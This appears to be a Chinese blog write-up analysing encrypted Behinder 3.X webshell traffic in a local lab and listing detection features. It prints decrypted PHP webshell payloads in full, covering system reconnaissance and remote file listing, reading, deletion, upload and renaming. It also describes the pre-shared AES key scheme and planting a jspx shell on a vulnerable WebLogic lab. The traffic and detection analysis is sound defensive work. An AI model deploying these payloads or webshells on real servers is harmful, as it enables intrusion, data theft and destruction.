冰蝎Behinder 3.X

冰蝎的下载地址:
https://github.com/rebeyond/Behinder
工具作者文章:
https://xz.aliyun.com/t/2744
老版本冰蝎(v2.X)的整体运行流程如下:

工具流程图

新版本的秘钥已经写死在了程序中。

1. 冰蝎流量分析

本机的环境是windows,所以要注意一点是,如果在本地搞了个文件上传漏洞,wireshark在windows环境下无法直接抓取本地的流量,只能看到经过网卡的流量,无法访问localhost,所以可以安装一个Npcap
https://github.com/nmap/npcap/releases
然后打开wireshark时就会有loopback的监听选项,这样就可以选取localhost和本机ip的流量。

wireshark

本次分析的是冰蝎3.0,和之前的2.0有了些许不同。根据github上版本的声明,它最明显的变化是去除了动态秘钥协商机制,采用预共享秘钥,全程无明文交互,秘钥格式为md5("admin")[0:16]。一般在2.1版本中明显的流量特使是返回16位秘钥,其检测规则即为^[a-fA-F0-9]{16}$,在3.0版本是无法生效了。
首先依旧是挂马连接,此处的漏洞demo是php的,所以以php版本的shell为例,默认秘钥e45e329feb5d925b,是通过md5("rebeyond")[0:16]得到的,需要说明的是rebeyond是3.0版本的默认密码
Behinder

wireshark抓到这个过程中的数据包如下
冰蝎数据包

(1)第一轮
第一个包是进行秘钥key验证,根据AES加密算法和预共享key进行解密。首先报文内容进行AES解密,秘钥e45e329feb5d925b,偏移量0123456789abcdef

AES解密

然后对解得的内容进行base64解码
base64解码结果

如果服务端返回$content变量"22b49108-9219-446c-8ea8-bc509f4f8182"经过加密后的值,则认为key验证通过,进行后续通信并全程加密。

那么接着来看一下响应包,包内容是
mAUYLzmqn5QPDkyI5lvSp0fjiBu1e7047YjfczwY6j6hTLsfaBPXFD15m2vi8F0wjcz9uq2Xfc57Ic4eZw366jT+k2k4H0XYdLkaeQ9iEcYSLaesoppLVAVkghq1eUTb
同样,先对报文进行AES解密,得到内容如下,其中有个msg字段

响应报文AES解密

对msg进行base64解密后,得到的值,和上文客户端发送的content变量值一致,可以说明验证通过。
msg MD5解密

(2)第二轮
然后来看第二个发送包。同样对发送包进行AES解密,然后进行base64解码

base64对第二个发送包进行解码

解码后的明文内容如下

error_reporting(0);
function main() {
    ob_start(); phpinfo(); $info = ob_get_contents(); ob_end_clean();
    $driveList ="";
    if (stristr(PHP_OS,"windows")||stristr(PHP_OS,"winnt"))
    {
        for($i=65;$i<=90;$i++)
        {
            $drive=chr($i).':/';
            file_exists($drive) ? $driveList=$driveList.$drive.";":'';
        }
    }
    else
    {
        $driveList="/";
    }
    $currentPath=getcwd();
    //echo "phpinfo=".$info."\n"."currentPath=".$currentPath."\n"."driveList=".$driveList;
    $osInfo=PHP_OS;
    $result=array("basicInfo"=>base64_encode($info),"driveList"=>base64_encode($driveList),"currentPath"=>base64_encode($currentPath),"osInfo"=>base64_encode($osInfo));
    //echo json_encode($result);
    session_start();
    $key=$_SESSION['k'];
    //echo json_encode($result);
    //echo openssl_encrypt(json_encode($result), "AES128", $key);
    echo encrypt(json_encode($result), $key);
}

function encrypt($data,$key)
{
    if(!extension_loaded('openssl'))
        {
            for($i=0;$i<strlen($data);$i++) {
                 $data[$i] = $data[$i]^$key[$i+1&15]; 
                }
            return $data;
        }
    else
        {
            return openssl_encrypt($data, "AES128", $key);
        }
}
main();

这个过程就是得到phpinfo、currentPath、driveList、osInfo(windows/winnt,否则driveList为空)

然后再来看响应包,经过AES解密,内容如下

响应包AES解密结果

diveList
currentPath
osInfo

(3)第三轮
发送包AES、base64解密后结果如下

error_reporting(0);
header('Content-Type: text/html; charset=UTF-8');

function getSafeStr($str){
    $s1 = iconv('utf-8','gbk//IGNORE',$str);
    $s0 = iconv('gbk','utf-8//IGNORE',$s1);
    if($s0 == $str){
        return $s0;
    }else{
        return iconv('gbk','utf-8//IGNORE',$str);
    }
}
function getgbkStr($str){
    $s0 = iconv('gbk','utf-8//IGNORE',$s1);
    $s1 = iconv('utf-8','gbk//IGNORE',$str);
    if($s1 == $str){
        return $s1;
    }else{
        return iconv('utf-8','gbk//IGNORE',$str);
    }
}
function delDir($dir)
{
    $files = array_diff(scandir($dir), array(
        '.',
        '..'
    ));
    foreach ($files as $file) {
        (is_dir("$dir/$file")) ? delTree("$dir/$file") : unlink("$dir/$file");
    }
    return rmdir($dir);
}

function main($mode, $path = ".", $content = "", $charset = "",$newpath)
{
    $path=getgbkStr($path);
    $result = array();
    if ($path == ".")
        $path = getcwd();
    switch ($mode) {
        case "list":
            $allFiles = scandir($path);
            $objArr = array();
            foreach ($allFiles as $fileName) {
                $fullPath = $path . $fileName;
                if (!function_exists("mb_convert_encoding"))
                {
                  $fileName=getSafeStr($fileName);
                }
                else
                {
                    $fileName=mb_convert_encoding($fileName, 'UTF-8', mb_detect_encoding($fileName, "UTF-8,GBK"));
                }
                $obj = array(
                    "name" => base64_encode($fileName),
                    "size" => base64_encode(filesize($fullPath)),
                    "lastModified" => base64_encode(date("Y-m-d H:i:s", filemtime($fullPath)))
                );
                $obj["perm"] = is_readable($fullPath) . "," . is_writable($fullPath) . "," . is_executable($fullPath);
                if (is_file($fullPath)) {
                    $obj["type"] = base64_encode("file");
                } else {
                    $obj["type"] = base64_encode("directory");
                }
                array_push($objArr, $obj);
            }
            $result["status"] = base64_encode("success");
            $result["msg"] = base64_encode(json_encode($objArr));
            echo encrypt(json_encode($result), $_SESSION['k']);
            break;
        case "show":
            $contents = file_get_contents($path);               
            $result["status"] = base64_encode("success");
            if (function_exists("mb_convert_encoding"))
            {
                if ($charset=="")
                {
                    $charset = mb_detect_encoding($contents, array(
                        'GB2312',
                        'GBK',
                        'UTF-16',
                        'UCS-2',
                        'UTF-8',
                        'BIG5',
                        'ASCII'
                    ));
                }
                $result["msg"] = base64_encode(mb_convert_encoding($contents, "UTF-8", $charset));
            }
            else
            {
                if ($charset=="")
                {
                    $result["msg"] = base64_encode(getSafeStr($contents));
                }
                else
                {
                    $result["msg"] = base64_encode(iconv($charset, 'utf-8//IGNORE', $contents));
                }
                
            }
            $result = encrypt(json_encode($result),$_SESSION['k']);
            echo $result;
            break;
        case "download":
            if (! file_exists($path)) {
                header('HTTP/1.1 404 NOT FOUND');
            } else {
                $file = fopen($path, "rb");
                echo fread($file, filesize($path));
                fclose($file);
            }
            break;
        case "delete":
            if (is_file($path)) {
                if (unlink($path)) {
                    $result["status"] = base64_encode("success");
                    $result["msg"] = base64_encode($path . "删除成功");
                } else {
                    $result["status"] = base64_encode("fail");
                    $result["msg"] = base64_encode($path . "删除失败");
                }
            }
            if (is_dir($path)) {
                delDir($path);
                $result["status"] = base64_encode("success");
                $result["msg"] = base64_encode($path."删除成功");
            }
            echo encrypt(json_encode($result),$_SESSION['k']);
            break;
        case "create":
            $file = fopen($path, "w");
            $content = base64_decode($content);
            fwrite($file, $content);
            fflush($file);
            fclose($file);
            if (file_exists($path) && filesize($path) == strlen($content)) {
                $result["status"] = base64_encode("success");
                $result["msg"] = base64_encode($path . "上传完成,远程文件大尿:" . $path . filesize($path));
            } else {
                $result["status"] = base64_encode("fail");
                $result["msg"] = base64_encode($path . "上传失败");
            }
            echo encrypt(json_encode($result), $_SESSION['k']);
            break;
        case "append":
            $file = fopen($path, "a+");
            $content = base64_decode($content);
            fwrite($file, $content);
            fclose($file);
            $result["status"] = base64_encode("success");
            $result["msg"] = base64_encode($path . "追加完成,远程文件大尿:" . $path . filesize($path));
            echo encrypt(json_encode($result),$_SESSION['k']);
            break;
        case "rename":
            if (rename($path,$newpath)) {
                $result["status"] = base64_encode("success");
                $result["msg"] = base64_encode("重命名完房:" . $newpath);
            } else {
                $result["status"] = base64_encode("fail");
                $result["msg"] = base64_encode($path . "重命名失贿");
            }
            echo encrypt(json_encode($result), $_SESSION['k']);
            break;
        default:
            break;
    }
}

function encrypt($data,$key)
{
    if(!extension_loaded('openssl'))
        {
            for($i=0;$i<strlen($data);$i++) {
                 $data[$i] = $data[$i]^$key[$i+1&15]; 
                }
            return $data;
        }
    else
        {
            return openssl_encrypt($data, "AES128", $key);
        }
}$mode="list";$path="D:\wampserver3.2.0\www\upload-labs-0.1\upload/";
main($mode,$path);

最后的响应包AES解密如下:


AES解密结果
[{"name":"Lg==","size":"MA==","lastModified":"MjAyMC0wOC0xOSAwNTowMDo0OQ==","perm":"1,1,","type":"ZGlyZWN0b3J5"},
{"name":"Li4=","size":"NDA5Ng==","lastModified":"MjAyMC0wOC0xOSAwMjo1ODowMg==","perm":"1,1,","type":"ZGlyZWN0b3J5"},
{"name":"cGhvdG8ucGhw","size":"MzM=","lastModified":"MjAyMC0wOC0xOSAwMzowMTo0NQ==","perm":"1,1,","type":"ZmlsZQ=="},
{"name":"c2hlbGwucGhw","size":"NTg5","lastModified":"MjAyMC0wOC0xNiAxMzoxMzoxMg==","perm":"1,1,","type":"ZmlsZQ=="},
{"name":"dGVzdC5waHA=","size":"NTg5","lastModified":"MjAyMC0wOC0xNiAxMzoxMzoxMg==","perm":"1,1,","type":"ZmlsZQ=="}]

这些结果是upload文件夹的创建时间、及其里面文件的创建时间和大小等。对应工具界面来看,就是如下内容


返回结果对应界面

接着再来测试一下jsp木马连接
为了避免搭建环境的麻烦,直接从vulhub上开启了CVE-2018-2894的环境,


weblogic环境开启

从ip:7001端口进入登陆界面,输入图中的用户名和密码进入后台

weblogic后台
burp抓包上传shell

但是拿冰蝎连的时候,会显示连接失败无法显示秘钥,目前这个版本好像经常出现这个问题,然后就要换一个jspx的木马上去


jspx木马

然后拿冰蝎重新连接,可以成功连接。用wireshark抓一下流量

wireshark中的流量

另外,虽然jsp没成功,也可以看一下jsp的流量。

jsp shell流量

2. 新旧版本对比

文章开头说到3.X对于2.X有着一些改变。从本文用的php shell 来对比(左图为2.X,右图为3.X)

php shell对比

从代码中可以看出新版去除握手过程的同时将一个key写死在了webshell中作为AES秘钥。另外老版本是把eval写在了__construct构造函数中,而新版是写在__invoke中。其他基本一致。

再来看一下jsp shell 的区别(左图为2.X,右图为3.X)


jsp shell对比

新版本增加了AAAAA、bbbb的首尾字段。和php shell一样,也在shell中写死了一个key,并去除了握手过程。

3. 源码分析

首先看一下冰蝎的文件结构。其代码的核心在core文件夹中,各个类的大致功能如下:

Constants:常量参数,例如不同的userAgent、脚本类型等
Crypt:针对不同server端语言的加解密类
Decrypt:和Crypt类似
Params:调用不同语言的payload,返回其字节序列
PluginResultCallBack、PluginSubmitCallBack、PluginTools:插件类
ShellService:连接shell时的具体操作,如命令执行、文件管理、反弹shell等
冰蝎结构

(1)Constants类
Constants类中定义了很多参数,包括userAgent,因为内置的这些userAgent有些老,所以有的防御拿这些userAgent来检测。

public static String[] userAgents = new String[]{
"Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/14.0.835.163 Safari/535.1", 
"Mozilla/5.0 (Windows NT 6.1; WOW64; rv:6.0) Gecko/20100101 Firefox/6.0", 
"Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.50 (KHTML, like Gecko) Version/5.1 Safari/534.50", 
"Opera/9.80 (Windows NT 6.1; U; zh-cn) Presto/2.9.168 Version/11.50", 
"Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; InfoPath.3; .NET4.0C; Tablet PC 2.0; .NET4.0E)", 
"Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; InfoPath.3)", 
"Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; GTB7.0)", 
"Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1)", 
"Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)", "Mozilla/5.0 (Windows; U; Windows NT 6.1; ) AppleWebKit/534.12 (KHTML, like Gecko) Maxthon/3.0 Safari/534.12",
"Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/5.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; InfoPath.3; .NET4.0C; .NET4.0E)", 
"Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/5.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; InfoPath.3; .NET4.0C; .NET4.0E; SE 2.X MetaSr 1.0)", 
"Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.3 (KHTML, like Gecko) Chrome/6.0.472.33 Safari/534.3 SE 2.X MetaSr 1.0", 
"Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; WOW64; Trident/5.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; InfoPath.3; .NET4.0C; .NET4.0E)", 
"Mozilla/5.0 (Windows NT 6.1) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/13.0.782.41 Safari/535.1 QQBrowser/6.9.11079.201", 
"Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/5.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; InfoPath.3; .NET4.0C; .NET4.0E) QQBrowser/6.9.11079.201", 
"Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; WOW64; Trident/5.0)"};

(2)ShellService类
ShellService类的doConnect函数代表连接过程,这个函数获得了currentKey,由currentPassword进行md5后取前16位得到。如果msg的值和随机生成的UUID相同,则连接成功,否则进入常规秘钥协商流程。ShellService的构造函数默认加密方式为AES,如果shellcode类型为php, 则headers默认为:"Content-type", "text/html;charset=utf-8",但是sendPostRequestBinary函数中将头部定义为"Content-Type", "application/octet-stream",并且发送方式定义为POST,所以很多文章中在冰蝎3.0的检测中,选择对Content-type:application/octet-stream进行检测,因为它是HTTP规范中的一种,限制只能提交二进制,但是很少用到,所以被人们定义为强特征。另外还有文章中写到,因为sendPostRequestBinary函数中数据交互采用的是Java自带的HttpURLConnection类,数据包中默认包含如下内容从而产生了一种流量特征检测思路。

Accept: text/html, image/gif, image/jpeg, *; q=.2, */*; q=.2
Cache-Control: no-cache
Pragma: no-cache

另外需要说明一下Utils类,core文件夹下的这些类很多都用到了Utils类,该类包含getKeyAndCookie、sendPostRequestBinary、getEvalData、getClassFromSourceCode、getSelfPath等函数

防护
防护一般有基于主机的和基于流量的。基于主机包含安全狗、D盾、Host based IDS等,通过对文件的特征码进行检测。基于流量的一般是云WAF、云防火墙、Net Based IDS,对传输的流量数据进行特征检测。可选择基于流量头的检测,包括userAgent、Content-Type: application/octet-stream等。jsp webshell虽然首尾包含AAAAA、bbbb但是对流量影响不大,根据首尾进行检测也不够准确。

User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/14.0.835.163 Safari/535.1
Accept: text/html, image/gif, image/jpeg, *; q=.2, */*; q=.2
Cache-Control: no-cache
Connection: keep-alive
Content-Type: application/octet-stream
最后编辑于
©著作权归作者所有,转载或内容合作请联系作者
  • 序言:七十年代末,一起剥皮案震惊了整个滨河市,随后出现的几起案子,更是在滨河造成了极大的恐慌,老刑警刘岩,带你破解...
    沈念sama阅读 159,835评论 4 364
  • 序言:滨河连续发生了三起死亡事件,死亡现场离奇诡异,居然都是意外死亡,警方通过查阅死者的电脑和手机,发现死者居然都...
    沈念sama阅读 67,598评论 1 295
  • 文/潘晓璐 我一进店门,熙熙楼的掌柜王于贵愁眉苦脸地迎上来,“玉大人,你说我怎么就摊上这事。” “怎么了?”我有些...
    开封第一讲书人阅读 109,569评论 0 244
  • 文/不坏的土叔 我叫张陵,是天一观的道长。 经常有香客问我,道长,这世上最难降的妖魔是什么? 我笑而不...
    开封第一讲书人阅读 44,159评论 0 213
  • 正文 为了忘掉前任,我火速办了婚礼,结果婚礼上,老公的妹妹穿的比我还像新娘。我一直安慰自己,他们只是感情好,可当我...
    茶点故事阅读 52,533评论 3 287
  • 文/花漫 我一把揭开白布。 她就那样静静地躺着,像睡着了一般。 火红的嫁衣衬着肌肤如雪。 梳的纹丝不乱的头发上,一...
    开封第一讲书人阅读 40,710评论 1 222
  • 那天,我揣着相机与录音,去河边找鬼。 笑死,一个胖子当着我的面吹牛,可吹牛的内容都是我干的。 我是一名探鬼主播,决...
    沈念sama阅读 31,923评论 2 313
  • 文/苍兰香墨 我猛地睁开眼,长吁一口气:“原来是场噩梦啊……” “哼!你这毒妇竟也来了?” 一声冷哼从身侧响起,我...
    开封第一讲书人阅读 30,674评论 0 203
  • 序言:老挝万荣一对情侣失踪,失踪者是张志新(化名)和其女友刘颖,没想到半个月后,有当地人在树林里发现了一具尸体,经...
    沈念sama阅读 34,421评论 1 246
  • 正文 独居荒郊野岭守林人离奇死亡,尸身上长有42处带血的脓包…… 初始之章·张勋 以下内容为张勋视角 年9月15日...
    茶点故事阅读 30,622评论 2 245
  • 正文 我和宋清朗相恋三年,在试婚纱的时候发现自己被绿了。 大学时的朋友给我发了我未婚夫和他白月光在一起吃饭的照片。...
    茶点故事阅读 32,115评论 1 260
  • 序言:一个原本活蹦乱跳的男人离奇死亡,死状恐怖,灵堂内的尸体忽然破棺而出,到底是诈尸还是另有隐情,我是刑警宁泽,带...
    沈念sama阅读 28,428评论 2 254
  • 正文 年R本政府宣布,位于F岛的核电站,受9级特大地震影响,放射性物质发生泄漏。R本人自食恶果不足惜,却给世界环境...
    茶点故事阅读 33,114评论 3 238
  • 文/蒙蒙 一、第九天 我趴在偏房一处隐蔽的房顶上张望。 院中可真热闹,春花似锦、人声如沸。这庄子的主人今日做“春日...
    开封第一讲书人阅读 26,097评论 0 8
  • 文/苍兰香墨 我抬头看了看天上的太阳。三九已至,却和暖如春,着一层夹袄步出监牢的瞬间,已是汗流浃背。 一阵脚步声响...
    开封第一讲书人阅读 26,875评论 0 197
  • 我被黑心中介骗来泰国打工, 没想到刚下飞机就差点儿被人妖公主榨干…… 1. 我叫王不留,地道东北人。 一个月前我还...
    沈念sama阅读 35,753评论 2 276
  • 正文 我出身青楼,却偏偏与公主长得像,于是被迫代替她去往敌国和亲。 传闻我的和亲对象是个残疾皇子,可洞房花烛夜当晚...
    茶点故事阅读 35,649评论 2 271